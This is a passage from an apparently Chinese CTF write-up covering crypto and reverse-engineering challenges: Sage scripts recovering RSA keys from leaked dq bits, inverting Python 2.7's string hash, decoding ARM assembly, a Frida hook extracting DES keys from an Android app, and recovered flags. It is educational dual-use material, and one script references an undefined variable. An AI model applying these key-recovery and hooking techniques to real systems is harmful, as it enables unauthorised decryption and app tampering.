n = 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81

e = 0x010001

dqlow = 0x8f2363b340e5

inv = 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116d

c = 55149764057291700808946379593274733093556529902852874590948688362865310469901900909075397929997623185589518643636792828743516623112272635512151466304164301360740002369759704802706396320622342771513106879732891498365431042081036698760861996177532930798842690295051476263556258192509634233232717503575429327989

bits = 48

PR.<x> = PolynomialRing(Zmod(n))

dq = (2 ^ bits * x) + dqlow

# k = 47794

for k in trange(e,1,-1):

    f = inv * (e * (2 ^ bits * x + dqlow) - 1 + k) ^ 2 - k * (e * (2 ^ T * x + dqlow) - 1 + k)

    f = f.monic()

    root = f.small_roots(X=2 ^ (512 - bits), epsilon = 0.09)

    if root:

        dq = int(root[0]) * 2 ** bits + dqlow

        q = int((e * dq - 1) // k + 1)

        p = int(n // q)

        phi = (p - 1) * (q - 1)

        d = inverse_mod(e,phi)

        print(long_to_bytes(int(pow(c,d,n))))

        break

from Crypto.Util.number import long_to_bytes

方式2

from tqdm import *

from Crypto.Util.number import *

n = 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81

inv = 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116d

c = 55149764057291700808946379593274733093556529902852874590948688362865310469901900909075397929997623185589518643636792828743516623112272635512151466304164301360740002369759704802706396320622342771513106879732891498365431042081036698760861996177532930798842690295051476263556258192509634233232717503575429327989

dq_low = 0x8f2363b340e5

q_low = []

bits = 48

e = 65537

qq = var('qq')

PR.<x> = PolynomialRing(Zmod(n))

# k = 47794

for k in trange(e,1,-1):

    k = 47794

    q0 = solve_mod([e * dq_low == k * qq - k + 1], 2^bits)

    for i in q0:

        f = inv * (2 ^ bits * x + int(i[0])) ^ 2 - (2 ^ bits * x + int(i[0]))

        f = f.monic()

        root = f.small_roots(X = 2^(512-bits), epsilon = 0.09)

        if root:

            q = 2^bits * int(root[0]) + int(i[0])

            p = n // q

            d = inverse_mod(e,(p - 1) * (q - 1))

            print(long_to_bytes(int(pow(c,d,n))))

            break

# flag{df4a4054-23eb-4ba4-be5e-15b247d7b819}

5.hash

题目描述

你能仅仅通过一个Python2.7自带的hash函数的输出,计算出它的原象的sha384哈希值吗?

解题思路

将压缩包解压后,含有两个文件,分别是 hash.py 、 output.txt 。

hash.py

#!/usr/bin/python2

# Python 2.7 (64-bit version)

from secret import flag

import os, binascii, hashlib

key = os.urandom(7)

print hash(key)

print int(hashlib.sha384(binascii.hexlify(key)).hexdigest(), 16) ^ int(binascii.hexlify(flag), 16)

output.txt

7457312583301101235

13903983817893117249931704406959869971132956255130487015289848690577655239262013033618370827749581909492660806312017

output.txt 的两行数据分别是 hash.py 中的两行输出。

根据源代码逻辑,可以知道首要问题是如何将 k e y keykey 的密文,解密出原文。

通过查询 python2.7 的内置 hash 函数,可以搜索到相关信息:

python3 中的 hash 函数相对于 python2 ,不同在于 python3 中会对要加密的字符串的运算添加 prefix 和 suffix ,而 python2 默认不会添加。

通过 github 上 python2.7 开源代码,找到 python2.7 中 str 类型的 hash 计算源码,部分代码如下:

static long

string_hash(PyStringObject *a)

{

    register Py_ssize_t len;

    register unsigned char *p;

    register long x;

#ifdef Py_DEBUG

    assert(_Py_HashSecret_Initialized);

#endif

    if (a->ob_shash != -1)

        return a->ob_shash;

    len = Py_SIZE(a);

    /*

      We make the hash of the empty string be 0, rather than using

      (prefix ^ suffix), since this slightly obfuscates the hash secret

    */

    if (len == 0) {

        a->ob_shash = 0;

        return 0;

    }

    p = (unsigned char *) a->ob_sval;

    x = _Py_HashSecret.prefix;

    x ^= *p << 7;

    while (--len >= 0)

        x = (1000003*x) ^ *p++;

    x ^= Py_SIZE(a);

    x ^= _Py_HashSecret.suffix;

    if (x == -1)

        x = -2;

    a->ob_shash = x;

    return x;

}

将其逻辑再编写成一个简易的函数方便测试,代码如下:

ll h(char *s, ll len) {

    ll res = 0;

    res ^= (s[0] << 7LL);

    for(int i = 0; i < len; ++i) {

        res = (res * 1000003ull) ^ (unsigned )s[i];

    }

    res ^= len;

    return res;

}

现在进行解密算法的寻找,可以解密关键在于将表达式

解密代码如下:

vector<unsigned> uh(ull d) {

    d ^= 7;

    ull res = d;

    for(ull i7 = 0; i7 < 256u; ++i7)

    for(ull i6 = 0; i6 < 256u; ++i6)

    for(ull i5 = 0; i5 < 256u; ++i5) {

        ull res_6 = (res ^ i7) * iv; //iv 是1000003在模数2^64下的逆元

        ull res_5 = (res_6 ^ i6) * iv;

        ull res_4 = (res_5 ^ i5) * iv;

        vector<int> a(3);

        a[0] = i7;

        a[1] = i6;

        a[2] = i5;

        Hashmap[res_4] = a;

    }

    for(ull i1 = 0; i1 < 256u; ++i1)

    for(ull i2 = 0; i2 < 256u; ++i2)

    for(ull i3 = 0; i3 < 256u; ++i3)

    for(ull i4 = 0; i4 < 256u; ++i4) {

        ull res_1 = ((i1 << 7) * v) ^ i1; //v 是1000003

        ull res_2 = (res_1 * v) ^ i2;

        ull res_3 = (res_2 * v) ^ i3;

        ull res_4 = (res_3 * v) ^ i4;

        if(Hashmap.find(res_4)!=Hashmap.end()){

            return vector<unsigned>{i1,i2,i3,i4,Hashmap[res_4][2], Hashmap[res_4][1], Hashmap[res_4][0]};

        }

    }

}

具体公式推导涉及同余方程、逆元等知识。

代码运行完毕得到密文的 ascii 为 93 140 240 63 90 8 82

key = ']\x8c\xf0?Z\x08R'

pre = int(hashlib.sha384(binascii.hexlify(key)).hexdigest(), 16)

ans = 13903983817893117249931704406959869971132956255130487015289848690577655239262013033618370827749581909492660806312017

flag = ans ^ pre

flag = hex(flag)

print flag

flag 的16进制为 666c61677b62646235333761612d383765662d346539352d626561342d3266373932353962646430377d

使用在线16进制转字符网站计算,得到 flag 原文为 flag{bdb537aa-87ef-4e95-bea4-2f79259bdd07} 

四、Reverse

1、asm_re

下载得到txt文件,打开发现是ida跑出来的arm的汇编代码,再结合题目名称,这题应该是要读汇编代码了

找到关键部分,整理一下

数据存在__const段里,注意小端法提取一下

然后就可以脚本解出了

exp:

decodechr=''

flag=''

enc=[0x1fd7,0x21b7,0x1e47,0x2027,0x26e7,0x10d7,0x1127,0x2007,0x11c7,0x1e47,0x1017,0x1017,0x11f7,0x2007,0x1037,0x1107,0x1f17,0x10d7,0x1017,0x1017,0x1f67,0x1017,0x11c7,0x11c7,0x1017,0x1fd7,0x1f17,0x1107,0x0f47,0x1127,0x1037,0x1e47,0x1037,0x1fd7,0x1107,0x1fd7,0x1107,0x2787]

for i in enc:

    decodechr=chr((((i-0x1e)^0x4d)-0x14) // 0x50)

    flag+=decodechr

print((flag))

'

运行运行

拿到:flag{67e9a228e45b622c2992fb5174a4f5f5}

2、androidso_re

用jadx打开,定位到mainactivity

使用函数legal进行了判断,函数里使用了方法inspect,查看一下

这里关键的两个参数就是key和iv,解压安装包看看so

直接hook

function main() {

        Java.perform(function () {

            Java.enumerateClassLoaders({

                onMatch: function (loader) {

                    try {

                        var factory = Java.ClassFactory.get(loader);

                        var CheckerClass = factory.use("com.example.re11113.inspect");

                        var key = CheckerClass.getKey();

                        console.log("Key: " + key);

                    } catch (e) {

                        // console.log("Error accessing class or method: " + e);

                    }

                },

                onComplete: function () {}

            });

        });

    }

    setTimeout(main,1000);

package ciscn;

import javax.crypto.Cipher;

import javax.crypto.spec.IvParameterSpec;

import javax.crypto.spec.SecretKeySpec;

import java.nio.charset.StandardCharsets;

import java.util.Arrays;

import java.util.Base64;

public class FlagDecryptor {

    private static final String ALGORITHM = "DES/CBC/PKCS5Padding";

    private static final String CHARSET = StandardCharsets.UTF_8.name();

    public static void main(String[] args) {

        try {

            String encryptedFlag = "JqslHrdvtgJrRs2QAp+FEVdwRPNLswrnykD/sZMivmjGRKUMVIC/rw==";

            String decryptedString = decryptFlag(encryptedFlag);

            System.out.println("Decrypted string: " + decryptedString);

        } catch (Exception e) {

            System.err.println("Decryption failed: " + e.getMessage());

        }

    }

    private static String decryptFlag(String encryptedFlag) throws Exception {

        byte[] keyBytes = JniUtils.getKey().getBytes(CHARSET);

        byte[] ivBytes = JniUtils.getIv().getBytes(CHARSET);

        SecretKeySpec key = new SecretKeySpec(Arrays.copyOf(keyBytes, 8), "DES");

        IvParameterSpec iv = new IvParameterSpec(ivBytes);

        Cipher cipher = Cipher.getInstance(ALGORITHM);

        cipher.init(Cipher.DECRYPT_MODE, key, iv);

        byte[] encryptedBytes = Base64.getDecoder().decode(encryptedFlag);

        byte[] decryptedBytes = cipher.doFinal(encryptedBytes);

        return new String(decryptedBytes, CHARSET);

    }

    static class JniUtils {

        public static String getKey() {

            return "A8UdWaeq";

        }

        public static String getIv() {

            return "Wf3DLups";

        }

    }

}

flag{188cba3a5c0fbb2250b5a2e590c391ce}

3、whereThel1b

打开py文件

逻辑很清晰,主要的加密内容肯定是在so文件里面

这个文件有很强的python编译特征,可以考虑进行反编译

特征函数,编写exp:

import base64

import random

random.seed(0)

encry = [108, 117, 72, 80, 64, 49, 99, 19, 69, 115, 94, 93, 94, 115, 71, 95, 84, 89, 56, 101, 70, 2, 84, 75, 127, 68, 103, 85, 105, 113, 80, 103, 95, 67, 81, 7, 113, 70, 47, 73, 92, 124, 93, 120, 104, 108, 106, 17, 80, 102, 101, 75, 93, 68, 121, 26]

keys = [random.randint(0, len(encry)) for _ in range(len(encry))]

flag = [k ^ e for k, e in zip(keys, encry)]

decoded_flag = base64.b64decode(''.join(map(chr, flag)).encode()).decode()

print(decoded_flag)

'

运行运行

 flag{7f9a2d3c-07de-11ef-be5e-cf1e88674c0b}

4.gdb_debug

        0xBF, 0xD7, 0x2E, 0xDA, 0xEE, 0xA8, 0x1A, 0x10, 0x83, 0x73, 0xAC, 0xF1, 0x06, 0xBE, 0xAD, 0x88, 

        0x04, 0xD7, 0x12, 0xFE, 0xB5, 0xE2, 0x61, 0xB7, 0x3D, 0x07, 0x4A, 0xE8, 0x96, 0xA2, 0x9D, 0x4D, 


文章来源: https://www.cnblogs.com/backlion/p/18447431
如有侵权请联系:admin#unsafe.sh